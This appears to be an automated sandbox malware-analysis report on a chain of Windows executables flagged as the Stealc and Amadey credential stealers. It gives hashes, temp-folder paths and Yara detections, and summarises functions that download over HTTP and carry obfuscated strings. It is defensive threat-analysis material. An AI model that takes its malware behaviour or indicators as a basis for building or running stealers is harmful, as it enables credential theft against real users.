MD5 hash:	82FFB0D94C7F912B03D1FEEE6F614605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2409293967.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2410605365.000000000132E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2367784987.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:02:39
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Imagebase:	0x60000
File size:	2'994'688 bytes
MD5 hash:	8280E9C803DFF5258A0C452549B5953C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:02:49
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Imagebase:	0x7b0000
File size:	2'177'024 bytes
MD5 hash:	82FFB0D94C7F912B03D1FEEE6F614605
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2589589697.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2549164946.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2590839479.000000000147B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:02:57
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Imagebase:	0x60000
File size:	2'994'688 bytes
MD5 hash:	8280E9C803DFF5258A0C452549B5953C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:03:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2683343528.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2642667604.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:03:05
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Imagebase:	0x7b0000
File size:	2'177'024 bytes
MD5 hash:	82FFB0D94C7F912B03D1FEEE6F614605
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000003.2715238456.0000000005220000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2755768193.00000000007B1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2757587305.000000000166B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:03:13
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe"
Imagebase:	0x60000
File size:	2'994'688 bytes
MD5 hash:	8280E9C803DFF5258A0C452549B5953C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2928048863.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2812858974.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2887493322.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2817944704.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2867267001.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2885377922.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2812965388.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2818049602.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2936334365.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2884396777.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2869397263.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2885512486.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2868715784.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2936285084.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2928465642.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2868626348.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:03:36
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe"
Imagebase:	0xe40000
File size:	2'838'528 bytes
MD5 hash:	473C91C8363CF492CF6192686E4AEAE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:03:56
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe"
Imagebase:	0xfa0000
File size:	2'838'528 bytes
MD5 hash:	473C91C8363CF492CF6192686E4AEAE8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:04:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3279767591.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.3239172732.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:05:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.3839582720.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.3879883094.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:06:00
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.4442585249.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.4482848128.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 04AB0E06 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2951431718bb55f3eb20c57031a243aaded2c181547b4b2cecbf2159c4ee8481
Instruction ID: c950b3ba2bcb71c33efa429a1acdcb2a9882d97c858cc0ec2ab668ee8b8bb8ad
Opcode Fuzzy Hash: 2951431718bb55f3eb20c57031a243aaded2c181547b4b2cecbf2159c4ee8481
Instruction Fuzzy Hash: D411ACBB30C210FDB25180626F55AF76A3EE2D2730731C516F887D4483B2996B99B1F1

Function 04AB0D9F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33ca6cb70da518441b3052319179fc583ef892a6fb63acbf11559cceefc431f
Instruction ID: 4940806f0cd8c0216903ffc26ba0db4c2e3882b936d124ed859be44d8754b87e
Opcode Fuzzy Hash: e33ca6cb70da518441b3052319179fc583ef892a6fb63acbf11559cceefc431f
Instruction Fuzzy Hash: BD2106B730C240EDE20245205E659F76F3EE6D2230330859BF0C7C9193E1496A4EA2B1

Function 04AB0E04 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec1c38ec625d4f43a60e5db2c33dabefc1fc36c8ea7f7c778ce1d14ed219645
Instruction ID: 87af62ecca42f15024250def605570b7657114a886fc9593c57474639928698b
Opcode Fuzzy Hash: 3ec1c38ec625d4f43a60e5db2c33dabefc1fc36c8ea7f7c778ce1d14ed219645
Instruction Fuzzy Hash: 8D11CABB30C210FDB20180626F55AF72A3EE2D2730730C516F887C4483B2896B99B0F1

Function 04AB0EB9 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed1db3b1b093ab69e76723c907440f6ab2cc25a3e6c86bb07bf37e735470e351
Instruction ID: 85878c431d3c362100f45df8c02d993dbe24ae0c2a21b34136712fa41bce155b
Opcode Fuzzy Hash: ed1db3b1b093ab69e76723c907440f6ab2cc25a3e6c86bb07bf37e735470e351
Instruction Fuzzy Hash: CA11217630C210EEE31189616E04AF76B3EE782B707308616F4C796083B1596B4DA5E1

Function 04AB0E46 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d4cc8a126ca073a80dff2f5a0dceadb84f4d6708e0c40dc09901422a6f0e62b
Instruction ID: ff95bc4c9b75dac5e05cbd8726d442dff63c3a3baf95e72e126cd4dd8e692f62
Opcode Fuzzy Hash: 9d4cc8a126ca073a80dff2f5a0dceadb84f4d6708e0c40dc09901422a6f0e62b
Instruction Fuzzy Hash: E011517330C260EDA36185616F05AFB6E3EA6826707318A07F8C785083F20A6B58B1E1

Function 04AB0E6B Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5920f27f59045851a840f77d57fe209e615ac1e37568aeba3b65b146893f514f
Instruction ID: 6d7176ad8677e23127179b7dcd08904c52094dd4f00c618987f9a1c8903a03cc
Opcode Fuzzy Hash: 5920f27f59045851a840f77d57fe209e615ac1e37568aeba3b65b146893f514f
Instruction Fuzzy Hash: 6801FCB630C210EDA29140616F68AF72B3EE396670730C54AF0C788083B5467B8AA0E1

Function 04AB0ED7 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2181903d8df9f149ad14c71f2aeae2a85b8f1adeab8bfc711c612a0c04f04209
Instruction ID: b4fa1b44248634fd15393538575a34dd245858d2514aefe8c8ef5860a6d45e28
Opcode Fuzzy Hash: 2181903d8df9f149ad14c71f2aeae2a85b8f1adeab8bfc711c612a0c04f04209
Instruction Fuzzy Hash: 49F0D1B734C210EC66518462AB549F71B3EE2D5270331C906F0C7D4493B116BA89B4E4

Function 04AB0E97 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b877d7009573e81c6278f67941181ff6ca96e635706c677067da5ce023844ef7
Instruction ID: 3b8c8c8e4bcd9bc2ddbf4c1002dfd1a698e80a160b322ab805bb98ba8198369d
Opcode Fuzzy Hash: b877d7009573e81c6278f67941181ff6ca96e635706c677067da5ce023844ef7
Instruction Fuzzy Hash: 41F0C2B774C110ED72508472AB59AFB2E3EE2C1670731C906F4C7D5482B156AB99B0F4

Function 04AB0E85 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9debed5965495b79f277ab858b8ceaf21a39d586d59bc6ce4af9ea2b076a682d
Instruction ID: 86a79a60b242728aa3f9aef7dd6400f03a3c06c90343b5dc68580c56e4b7c0a8
Opcode Fuzzy Hash: 9debed5965495b79f277ab858b8ceaf21a39d586d59bc6ce4af9ea2b076a682d
Instruction Fuzzy Hash: 6DF0CDB730C210ECB26084626B55AFB5B3EE2D6270731C502F4C7D5483B2596B99B4F5

Function 04AB0EED Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9860e10311c3365513cd407833b83570c621aab9ed56d8bdbde79633c18b0e25
Instruction ID: ec7383eecb92d9dde7a9d2ea9e48f985bea2a8a890799e841258e4237576e5aa
Opcode Fuzzy Hash: 9860e10311c3365513cd407833b83570c621aab9ed56d8bdbde79633c18b0e25
Instruction Fuzzy Hash: 78F0993270D250FD9302893090492F77FB97A93300324C0ADE1C38A4D3E006621AA1A1

Function 04AB0F4D Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa3d48b04143717347da4c08d8d9566f5878aa96ab4001d928f0a3b2ae3bd47d
Instruction ID: 3cb6506f3359a082fdc477e6a86ce340c368213880847be0704b2921c98f411c
Opcode Fuzzy Hash: fa3d48b04143717347da4c08d8d9566f5878aa96ab4001d928f0a3b2ae3bd47d
Instruction Fuzzy Hash: 3EE0DF3236D260DDE28196716A68AF79B3CB651310320CA47B4CBC50C3E5197769E2F5

Function 04AB0F41 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f9fdb1aadc6a4d199e463fef47dbcf0a916b7022c66b4a0a4d9332555779f7
Instruction ID: cdf8e528bfe26d72adba475e796976e8297ea3dbab8aabc81ce7d7d60caa4094
Opcode Fuzzy Hash: 90f9fdb1aadc6a4d199e463fef47dbcf0a916b7022c66b4a0a4d9332555779f7
Instruction Fuzzy Hash: ABD05E7675D210DD9280907263187F75A3CA291320370C603F0C7C54C3B01976A9B0E5

Function 04AB0F6D Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2128722522.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e16d8b33c65a6cc3742e42dc4f01d13a81c7926551b2b9a2934edc2d5adef7a
Instruction ID: 46a3fc6947aa4eaad3eb4642f522304cdb452eefa4226976c43e82a8cd70ccfb
Opcode Fuzzy Hash: 3e16d8b33c65a6cc3742e42dc4f01d13a81c7926551b2b9a2934edc2d5adef7a
Instruction Fuzzy Hash: B1D02BB630C540CFF20081207915AF7A37D5750704F81C546E8CBD71C3F1A86029D091

Analysis Process: axplong.exePID: 6472, Parent PID: 4436COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1362
Total number of Limit Nodes:	44

Executed Functions

Function 004DBD60 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00528D70,00000000,00000000,00000000,00000000), ref: 004DBDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 004DBE11
HttpOpenRequestA.WININET(?,00000000), ref: 004DBE5B
HttpSendRequestA.WININET(?,00000000), ref: 004DBF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 004DBFCD
InternetCloseHandle.WININET(?), ref: 004DC0A7
InternetCloseHandle.WININET(?), ref: 004DC0AF
InternetCloseHandle.WININET(?), ref: 004DC0B7

Strings

d4S, xrefs: 004DE2FF
stoi argument out of range, xrefs: 004DE3FA
invalid stoi argument, xrefs: 004DE404
RHYTYv==, xrefs: 004DBE33
RpKt, xrefs: 004DD516
8KG0fCKZFzY=, xrefs: 004DC385
8KG0fymoFx==, xrefs: 004DC2EB, 004DC543

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$d4S$invalid stoi argument$stoi argument out of range
API String ID: 688256393-4242187715
Opcode ID: b7c0516f66da733c8e69e6a8e57fdad4f7a154bea10f0f63afc588a117ed4213
Instruction ID: 47de663321d627a2b8bf26ba31f0d06a847da5a2e0dee9ef8230f540c326f3cf
Opcode Fuzzy Hash: b7c0516f66da733c8e69e6a8e57fdad4f7a154bea10f0f63afc588a117ed4213
Instruction Fuzzy Hash: 7CB1D3B1A001189BEB24CF29CC94BAEBB69EF45304F5041AEF509973C1D7789AC4CF99

Function 004DE440 Relevance: 14.6, Strings: 11, Instructions: 878
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MT==, xrefs: 004DE4A5
UD==, xrefs: 004DEA1F, 004DEC66
d4S, xrefs: 004DF6D5
246122658369, xrefs: 004DF647, 004DF924, 004E04F7
MJB+, xrefs: 004DE734
GqKudSO2, xrefs: 004DE47F
#, xrefs: 004E0534
111, xrefs: 004DF6B0
WWp=, xrefs: 004E04DA
fed3aa, xrefs: 004DFA9E
WGt=, xrefs: 004DF62D, 004DF90A

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$d4S$fed3aa
API String ID: 0-3480651957
Opcode ID: e564e88b3c006b77bdb426194e4a3b8dad202d9f54f14c09980d7f12a389e171
Instruction ID: f1fdfc9e1345974cf5e5663bb6deb96ab2f01582b04d57ae1d12ca906c58d1cd
Opcode Fuzzy Hash: e564e88b3c006b77bdb426194e4a3b8dad202d9f54f14c09980d7f12a389e171
Instruction Fuzzy Hash: 79720670900288DBEF14EF69C9597DD7FB5AF42308F50818EE805673C2C7799A88CB96

Function 004ED312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004D247E

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
